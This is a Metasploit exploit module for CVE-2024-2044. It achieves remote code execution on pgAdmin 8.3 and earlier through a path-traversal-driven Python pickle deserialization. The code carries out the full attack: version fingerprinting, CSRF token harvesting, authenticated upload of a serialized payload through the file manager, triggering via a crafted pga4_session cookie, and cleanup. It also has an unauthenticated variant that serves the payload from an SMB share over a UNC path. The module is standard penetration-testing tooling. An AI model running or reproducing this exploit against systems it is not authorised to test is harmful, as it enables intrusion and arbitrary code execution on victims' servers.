# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::SMB::Server::Share

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'pgAdmin Session Deserialization RCE',
        'Description' => %q{
          pgAdmin versions <= 8.3 have a path traversal vulnerability within their session management logic that can allow
          a pickled file to be loaded from an arbitrary location. This can be used to load a malicious, serialized Python
          object to execute code within the context of the target application.

          This exploit supports two techniques by which the payload can be loaded, depending on whether or not credentials
          are specified. If valid credentials are provided, Metasploit will login to pgAdmin and upload a payload object
          using pgAdmin's file management plugin. Once uploaded, this payload is executed via the path traversal before
          being deleted using the file management plugin. This technique works for both Linux and Windows targets. If no
          credentials are provided, Metasploit will start an SMB server and attempt to trigger loading the payload via a
          UNC path. This technique only works for Windows targets. For Windows 10 v1709 (Redstone 3) and later, it also
          requires that insecure outbound guest access be enabled.

          Tested on pgAdmin 8.3 on Linux, 7.7 on Linux, 7.0 on Linux, and 8.3 on Windows. The file management plugin
          underwent changes in the 6.x versions and therefor, pgAdmin versions < 7.0 can not utilize the authenticated
          technique whereby a payload is uploaded.
        },
        'Author' => [
          'Spencer McIntyre', # metasploit module
          'Davide Silvetti', # vulnerability discovery and write up
          'Abdel Adim Oisfi' # vulnerability discovery and write up
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-2044'],
          ['URL', 'https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/'],
          ['URL', 'https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d']
        ],
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Platform' => 'python',
        'Arch' => ARCH_PYTHON,
        'Payload' => {},
        'Targets' => [
          [ 'Automatic', {} ],
        ],
        'DefaultOptions' => {
          'SSL' => true,
          'WfsDelay' => 5
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-03-04', # date it was patched, see: https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path for pgAdmin', '/']),
      OptString.new('USERNAME', [false, 'The username to authenticate with (an email address)', '']),
      OptString.new('PASSWORD', [false, 'The password to authenticate with', ''])
    ])
  end

  def check
    version = get_version
    return CheckCode::Unknown('Unable to determine the target version') unless version
    return CheckCode::Safe("pgAdmin version #{version} is not affected") if version >= Rex::Version.new('8.4')

    CheckCode::Appears("pgAdmin version #{version} is affected")
  end

  def csrf_token
    return @csrf_token if @csrf_token

    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)
    set_csrf_token_from_login_page(res)
    fail_with(Failure::UnexpectedReply, 'Failed to obtain the CSRF token') unless @csrf_token
    @csrf_token
  end

  def set_csrf_token_from_login_page(res)
    if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/
      @csrf_token = Regexp.last_match(1)
    # at some point between v7.0 and 7.7 the token format changed
    elsif (element = res.get_html_document.xpath("//input[@id='csrf_token']")&.first)
      @csrf_token = element['value']
    end
  end

  def get_version
    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)
    return unless res&.code == 200

    html_document = res.get_html_document
    return unless html_document.xpath('//title').text == 'pgAdmin 4'

    # there's multiple links in the HTML that expose the version number in the [X]XYYZZ,
    # see: https://github.com/pgadmin-org/pgadmin4/blob/053b1e3d693db987d1c947e1cb34daf842e387b7/web/version.py#L27
    versioned_link = html_document.xpath('//link').find { |link| link['href'] =~ /\?ver=(\d?\d)(\d\d)(\d\d)/ }
    return unless versioned_link

    set_csrf_token_from_login_page(res) # store the CSRF token because we have it
    Rex::Version.new("#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}")
  end

  def exploit
    if datastore['USERNAME'].present?
      exploit_upload
    else
      exploit_remote_load
    end
  end

  def exploit_remote_load
    start_service
    print_status('The SMB service has been started.')

    # Call the exploit primer
    self.file_contents = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)
    trigger_deserialization(unc)
  end

  def exploit_upload
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'authenticate/login'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        'csrf_token' => csrf_token,
        'email' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        'language' => 'en',
        'internal_button' => 'Login'
      }
    })

    unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login')
      fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin')
    end
    print_status('Successfully authenticated to pgAdmin')

    serialized_data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)

    file_name = Faker::File.file_name(dir: '', directory_separator: '')
    file_manager_upload(file_name, serialized_data)
    trigger_deserialization("../storage/#{datastore['USERNAME'].gsub('@', '_')}/#{file_name}")
    file_manager_delete(file_name)
  end

  def trigger_deserialization(path)
    print_status("Triggering deserialization for path: #{path}")
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'login'),
      'cookie' => "pga4_session=#{path}!"
    })
  end

  def file_manager_init
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'file_manager/init'),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/json',
      'headers' => { 'X-pgA-CSRFToken' => csrf_token },
      'data' => {
        'dialog_type' => 'storage_dialog',
        'supported_types' => ['sql', 'csv', 'json', '*'],
        'dialog_title' => 'Storage Manager'
      }.to_json
    })
    unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId'))
      fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction')
    end

    trans_id
  end

  def file_manager_delete(file_path)
    trans_id = file_manager_init

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/json',
      'headers' => { 'X-pgA-CSRFToken' => csrf_token },
      'data' => {
        'mode' => 'delete',
        'path' => "/#{file_path}",
        'storage_folder' => 'my_storage'
      }.to_json
    })
    unless res&.code == 200 && res.get_json_document['success'] == 1
      fail_with(Failure::UnexpectedReply, 'Failed to delete file')
    end

    true
  end

  def file_manager_upload(file_path, file_contents)
    trans_id = file_manager_init

    form = Rex::MIME::Message.new
    form.add_part(
      file_contents,
      'application/octet-stream',
      'binary',
      "form-data; name=\"newfile\"; filename=\"#{file_path}\""
    )
    form.add_part('add', nil, nil, 'form-data; name="mode"')
    form.add_part('/', nil, nil, 'form-data; name="currentpath"')
    form.add_part('my_storage', nil, nil, 'form-data; name="storage_folder"')

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => "multipart/form-data; boundary=#{form.bound}",
      'headers' => { 'X-pgA-CSRFToken' => csrf_token },
      'data' => form.to_s
    })
    unless res&.code == 200 && res.get_json_document['success'] == 1
      fail_with(Failure::UnexpectedReply, 'Failed to upload file contents')
    end

    upload_path = res.get_json_document.dig('data', 'result', 'Name')
    print_status("Serialized payload uploaded to: #{upload_path}")

    true
  end
end